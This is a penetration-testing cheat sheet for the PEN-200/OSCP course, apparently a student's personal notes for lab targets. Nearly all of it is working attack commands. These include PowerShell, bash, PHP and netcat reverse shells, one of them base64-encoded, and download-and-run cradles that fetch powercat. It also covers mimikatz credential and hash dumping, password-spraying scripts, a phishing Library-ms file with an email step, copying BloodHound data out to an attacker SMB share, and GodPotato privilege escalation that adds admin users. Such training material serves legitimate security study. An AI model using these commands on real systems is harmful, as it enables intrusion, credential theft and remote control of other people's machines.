PEN-200 Cheat Sheet
Setting Up
Download Binaries
List of Binaries
GodPotato.exe
PrintSpoofer.exe
Powerview.ps1
Sharphound.ps1
fastscan.sh
netspray.sh
nethash.sh
chisel
chisel.exe
chisel_amd64
ligolo-ng
ligolo_agent_win.exe
linpeas.sh
winpeas.exe
mimikatz.exe
nc64-32.exe
powercat.ps1
pspy64
wolfwebshell.php
Stand Up Python Server
python -m http.server 8000
Stand up SMB Share
impacket-smbserver smbfolder . -smb2support -user mason -password mason
Stand up Chisel Server
chisel server --port 9999 --reverse
Stand up Webdav Server
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .
Enumerating Externally
Port Scan
Slow Scan
nmap -sC -sV -p- -oN external.output 192.168.245.0/24
Fast Scan
./fastscan.sh 192.168.223.123 name
Contents:
#!/bin/bash
echo "Running quick Nmap scan to detect open ports."
nmap -Pn -T4 --max-retries 0 -p- -oN $2.quick $1
echo " "
echo "Running deeper Nmap scan on detected open ports."
nmap -sV -A -p $(grep open $2.quick | grep -v Warning | sed 's/ open //g'| awk -F '/' '{print $1}'|tr '\n' ',') -oN $2.full $1
echo " "
echo "See below for a quick reference list of open ports and detected banners."
grep open $2.full | grep -v Warning | sed 's/ open //g'
Check for Public Exploits
searchsploit key words
Check FTP
FTP
ftp anonymous@192.168.245.249 14020
Filezilla
filezilla anonymous@192.168.245.249
Check SMB
smbclient -L 192.168.245.247
Download from SMB share with:
get file.txt
SMBMap
smbmap -H 192.168.123.123
Check Web Servers
Quick Scan
gobuster dir -u http://192.168.199.249 -w /usr/share/wordlists/dirb/big.txt -o MS01 -x php,aspx
Comprehensive Scan
gobuster dir -u http://192.168.199.249 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o MS01 -x php,aspx
Files Scan
gobuster dir -u http://192.168.199.249 -w /usr/share/wordlists/dirb/big.txt -o MS01 -x php,aspx
Follow Redirects and Ignore Bad Codes
gobuster dir -u http://192.168.223.156:8083/api/v1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o Frankfurt -r -k
Foothold on Windows
Land as New User
Check for privileges
whoami /priv
Looking for:
- SeImpersonatePrivilege
- SeBackupPrivilege
- SeAssignPrimaryToken
- SeLoadDriver
- SeDebug
Check for Interesting Files
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.config,*.log,*.kdbx,*ini,*.ps1,*.exe,*.zip -File -Recurse -ErrorAction SilentlyContinue; ls C:\
List files in small directories:
tree /F
Check history files:
(Get-PSReadlineOption).HistorySavePath
cat FILE
ls DIRECTORY
Useful Windows Binaries
List of binaries:
winPEAS
mimikatz
GodPotato
SharpHound
PowerView
PrintSpoofer
Download binaries onto machine:
cd C:\Users\Public; iwr -uri http://192.168.49.124:8000/winPEASx64.exe -Outfile winPEAS.exe; iwr -uri http://192.168.49.124:8000/mimikatz.exe -Outfile mimikatz.exe; iwr -uri http://192.168.49.124:8000/GodPotato-NET4.exe -Outfile GodPotato.exe; iwr -uri http://192.168.49.124:8000/SharpHound.ps1 -Outfile SharpHound.ps1; iwr -uri http://192.168.49.124:8000/PowerView.ps1 -Outfile powerview.ps1; iwr -uri http://192.168.49.124:8000/PrintSpoofer64.exe -Outfile print.exe;
Run and Review winPEAS
.\winPEAS.exe
Run and Review Sharphound
If on a domain:
. .\SharpHound.ps1;Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\Public\ -OutputPrefix "WS26"; $pass = ConvertTo-SecureString 'mason' -AsPlainText -Force; $pass; $cred = New-Object System.Management.Automation.PSCredential('mason', $pass); $cred; New-PSDrive -Name mason -PSProvider FileSystem -Credential $cred -Root \\192.168.49.124\smbfolder;copy *BloodHound.zip \\192.168.49.124\smbfolder\
Achieved Windows Admin
Check for Interesting Files
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.config,*.log,*.kdbx,*ini,*.ps1,*.exe,*.zip -File -Recurse -ErrorAction SilentlyContinue; ls C:\
List files in small directories:
tree /F
Run and Review winPEAS
.\winPEAS.exe
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
Check Mimikatz
Check password hashes
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
Check Kerberos tickets
.\mimikatz "privilege::debug" "sekurlsa::tickets" exit
Dump hashes from SAM file on live machine
.\mimikatz "lsadump::sam /system:SYSTEM /sam:SAM" exit
Dump hashes from existing SAM and SYSTEM files
.\mimikatz "lsadump::sam /system:SYSTEM /sam:SAM" exit
Foothold on Linux
Landed as User
Run and Review linPEAS
wget http://192.168.49.104:8000/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh
Check env files, history files, Unknown SetUID files
Check Processes
wget http://192.168.45.234:8000/pspy64; chmod +x pspy64; ./pspy64
Achieved Admin
Run and Review linPEAS
wget http://192.168.45.234:8000/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh
Pivoting
Ligolo
https://medium.com/@Poiint/pivoting-with-ligolo-ng-0ca402abc3e9
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
Follow the instructions in article and compiling from scratch worked better than install via apt.
Windows:
iwr -uri http://192.168.45.234:8000/ligolo_agent_win.exe -Outfile agent.exe; .\agent.exe -connect 192.168.45.234:11601 --ignore-cert
session
sudo ip route add 10.10.162.0/24 dev ligolo
Insert any other command here, using the IP without proxychains
impacket-mssqlclient sql_svc:'Dolphin1'@10.10.162.148 -windows-auth
Add listener for python server
listener_add --addr 0.0.0.0:7777 --to 127.0.0.1:8000 --tcp
Add listener for reverse shell
listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:443 --tcp
Chisel
Windows Dynamic Port Forwarding
cd C:\Users\Public; iwr -uri http://192.168.49.104:8000/chisel.exe -Outfile chisel.exe; .\chisel.exe client 192.168.49.104:9999 R:socks
Linux Dynamic Port Forwarding
wget http://192.168.45.234:80/chisel_amd64; chmod +x chisel_amd64; ./chisel_amd64 client 192.168.45.234:9999 R:socks
SSH
May be necessary to upgrade certain types of shells before using SSH
python3 -c 'import pty; pty.spawn("/bin/bash")'
Remote Port Forwarding
Remote Port Forwarding (SSH from Kali to Pivot)
ssh web_svc@192.168.195.147 -D 9090 -R *:7777:localhost:7777 -R *:8888:localhost:8888
Remote Port Forwarding (SSH from Pivot to Kali, I believe)
ssh kali@192.168.49.104 -D 9090 -R *:6666:localhost:6666 -R *:8888:localhost:8888
Local Port Forwarding
Local SSH port forward (this runs from a victim machine receiving connections looping back or going farther)
ssh -N -L 0.0.0.0:7777:127.0.0.1:80
Download a file
Windows
Via SMB
Authenticated
$pass = ConvertTo-SecureString 'mason' -AsPlainText -Force; $pass; $cred = New-Object System.Management.Automation.PSCredential('mason', $pass); $cred; New-PSDrive -Name mason -PSProvider FileSystem -Credential $cred -Root \\192.168.45.234\smbfolder;copy File.txt \\192.168.45.234\smbfolder\
Unauthenticated
$pass = ConvertTo-SecureString 'mason' -AsPlainText -Force; $pass; $cred = New-Object System.Management.Automation.PSCredential('mason', $pass); $cred; New-PSDrive -Name mason -PSProvider FileSystem -Credential $cred -Root \\192.168.45.234\smbfolder;copy File.txt \\192.168.45.234\smbfolder\
Download via PowerShell
iwr -uri http://192.168.45.234:8000/file.txt -Outfile file.txt
Via SCP
scp ./file.txt kali@192.168.45.234:/home/kali/exam1
Hashcat Cracking
KeePass
hashcat -m 13400 jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
NTLM
hashcat -m 1000 jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Kerberos
Check the prefixes of the hash and see what matches:
hashcat -h | grep -i kerberos
hashcat -m XXXX jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
MD5
hashcat -m 0 jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Unix
Check the prefixes of the hash and see what matches:
hashcat -h | grep -i unix
hashcat -m XXXX jimkp.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Secretsdump
Use impacket-secretsdump on SAM
impacket-secretsdump -system SYSTEM -sam SAM local
Guess Credentials
Netexec User/Pass
Works with single string values or text file lists.
netexec smb 172.16.206.0/24 -u user -p password --continue-on-success
Protocols included:
SMB
SSH
RDP
WINRM
FTP
LDAP
WMI
VNC
MSSQL
Don't forget about local accounts vs domain accounts with --local-auth
flag.
Netspray.sh User/Pass
Wrapper around Netexec commands:
./netspray.sh 192.168.234.234 user password
Contents:
#!/bin/bash
echo "Testing SMB Connections with Domain Credentials"
netexec smb $1 -u $2 -p $3
echo "Testing SMB Connections with Local Credentials"
netexec smb $1 -u $2 -p $3 --local-auth
echo "Testing SSH Connections"
netexec ssh $1 -u $2 -p $3
echo "Testing RDP Connections with Domain Credentials"
netexec rdp $1 -u $2 -p $3
echo "Testing RDP Connections with Local Credentials"
netexec rdp $1 -u $2 -p $3 --local-auth
echo "Testing WinRM Connections with Domain Credentials"
netexec winrm $1 -u $2 -p $3
echo "Testing WinRM Connections with Domain Credentials"
netexec winrm $1 -u $2 -p $3 --local-auth
echo "Testing LDAP Connections"
netexec ldap $1 -u $2 -p $3
echo "Testing FTP Connections"
netexec ftp $1 -u $2 -p $3
echo "Testing WMI Connections"
netexec wmi $1 -u $2 -p $3
echo "Testing VNC Connections"
netexec vnc $1 -u $2 -p $3
echo "Testing MSSQL Connections"
netexec mssql $1 -u $2 -p $3
Netexec Hashes
Works with single string values or text file lists.
netexec smb 172.16.206.0/24 -u user -H SFSDFSDFSDFDSFSDFSDFSDF --continue-on-success
Protocols included:
SMB
SSH
RDP
WINRM
FTP
LDAP
WMI
VNC
MSSQL
Don't forget about local accounts vs domain accounts with --local-auth
flag.
NetHash.sh Hashes
Wrapper around Netexec commands:
./netspray.sh 192.168.234.234 user SDFSDFSDFSDFSDFDSF
Contents:
#!/bin/bash
echo "Testing SMB Connections with Domain Credentials"
netexec smb $1 -u $2 -H $3
echo "Testing SMB Connections with Local Credentials"
netexec smb $1 -u $2 -H $3 --local-auth
echo "Testing SSH Connections"
netexec ssh $1 -u $2 -H $3
echo "Testing RDP Connections with Domain Credentials"
netexec rdp $1 -u $2 -H $3
echo "Testing RDP Connections with Local Credentials"
netexec rdp $1 -u $2 -H $3 --local-auth
echo "Testing WinRM Connections with Domain Credentials"
netexec winrm $1 -u $2 -H $3
echo "Testing WinRM Connections with Domain Credentials"
netexec winrm $1 -u $2 -H $3 --local-auth
echo "Testing LDAP Connections"
netexec ldap $1 -u $2 -H $3
echo "Testing FTP Connections"
netexec ftp $1 -u $2 -H $3
echo "Testing WMI Connections"
netexec wmi $1 -u $2 -H $3
echo "Testing VNC Connections"
netexec vnc $1 -u $2 -H $3
echo "Testing MSSQL Connections"
netexec mssql $1 -u $2 -H $3
Use Credentials
WinRM
User/Pass
evil-winrm -i 172.16.206.247 -u user -p "password"
Hashes
evil-winrm -i 172.16.206.247 -u user -H 2892D26CDF84D7A70E2EB3B9F05C4266
Upload or download
upload /home/kali/oscpa/winPEASx64.exe .
PsExec
User/Pass
impacket-psexec domain.com/user:'password'@172.16.111.254
Hashes
impacket-psexec -hashes 00000000000000000000000000000000:f0397ec5af49971f6efbdb0787704666 user@172.16.6.240
SMBExec
User/Pass
impacket-smbexec domain.com/user:'password'@172.16.111.254
Hashes
impacket-psexec -hashes 00000000000000000000000000000000:f0397ec5af49971f6efbdb07877046b3 user@172.16.6.240
WmiExec
User/Pass
impacket-wmiexec domain.com/user:'password'@172.16.111.254
Hashes
impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C4266 user@192.168.50.73
Possible Phishing
Create Library file:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.234</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Create Shortcut file
powershell -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.176:8000/powercat.ps1');powercat -c 192.168.45.176 -p 443 -e powershell"
Send email:
sudo swaks -t jim@domain.com --from maildmz@domain.com --attach @config.Library-ms --server 192.168.196.189 --body @body.txt --header "Subject: Something Broke" --suppress-data -ap
Web Shell Payloads
Download webshell
wget http://192.168.45.234:8000/wolfwebshell.php
Reverse Shell Payloads
Use revshells.com first and foremost.
Windows
PowerShell Encoded
Encode the payload first:
$Text = '$client = New-Object System.Net.Sockets.TCPClient("10.10.162.147",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
Use the payload:
powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA0ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
PowerShell Unencoded
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.45.234',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
PowerShell with PowerCat
powershell -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.234:8000/powercat.ps1');powercat -c 192.168.45.234 -p 443 -e powershell"
Binary with MFSVenom
Create Binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=443 -f exe -o reverse.exe
Search for payloads
msfvenom -l payloads --platform linux --arch x64
Linux
Bash
/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.234/443 0>&1'
Busybox
/bin/busybox nc 192.168.45.160 80 -e /bin/bash
PHP
/usr/bin/php -r '$sock=fsockopen("192.168.45.234",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Reviewing Git Data
After navigating to repository, you can check status:
git status
Check the logs:
git log
Copy a commit from the git log, to see the difference:
git show 8b430c17c16e6c0515e49c4eafdd129f719fde66
AS-REP Roasting
Need working AD credentials first. Helps to check Bloodhound for possible targets.
Use impacket to AS-REP roast user:
proxychains -q impacket-GetNPUsers -dc-ip 172.16.156.6 -request -outputfile michelle-asrep.hash domain.com/user
Kerberoasting
Need working AD credentials first. Helps to check Bloodhound for possible targets.
Use impacket to Kerberoast user:
proxychains -q impacket-GetUserSPNs -request -dc-ip 10.10.162.146 oscp.exam/user
Windows Service Binary Injection
Watch for a recurring process for the service:
while (1) {get-process scheduler -ErrorAction SilentlyContinue; sleep 0.1}
View all services on the machine:
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Replace service binary with reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=443 -f exe -o reverse.exe
Stop, Start, or Restart services in Powershell:
Stop-Service scheduler
DLL Hijacking
Move service binary to a windows machine and use ProcMon to review the DLLs being called.
Once identified, replace vulnerable DLL with reverse shell and restart service binary.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.234 LPORT=443 -f dll -o Custom.dll
Custom compilation may be necessary, review course.
SeImpersonate Privileges
Using GodPotato
Basic command syntax
.\GodPotato -cmd "cmd /c whoami"
Using a reverse shell:
iwr -uri http://192.168.45.234:8000/nc64-32.exe -Outfile nc.exe; .\GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.45.234 8443"
Add user to an admin group:
.\GodPotato -cmd "cmd /c net localgroup administrators adrian /add"
Change user's password:
.\GodPotato -cmd "cmd /c net user damon mason"
May need this info for RDP group adding:
.\GodPotato -cmd "cmd /creg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
.\GodPotato -cmd 'cmd /c netsh advfirewall firewall set rule group="remote desktop" new enable=Yes'
Add user and add them to admin group:
.\GodPotato -cmd "cmd /c net user mason mason /add"
.\GodPotato -cmd "cmd /c net localgroup administrators mason /add"
PrintSpoofer
.\print.exe -i -c powershell.exe
.\print.exe -c whoami
Databases
MySQL/MariaDB
Login:
sudo mysql -u root
mysql -u user -p7NVLVTDGJ38HM2GG -h 127.0.0.1
Dump the database:
.\mysqldump.exe -u root --all-databases -r db_backup.sql
Commands in the database:
create database hello
use hello;
source file.sql
show databases;
use froxlor;
show tables;
show columns from customers from oscdb;
select customers_password from customers;
SNMP
Look for interesting things with SNMPWalk
snmpwalk -v 2c -c public 192.168.208.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
SharpGPOAbuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount charlotte --GPOName "Default Domain Policy" --force
Last updated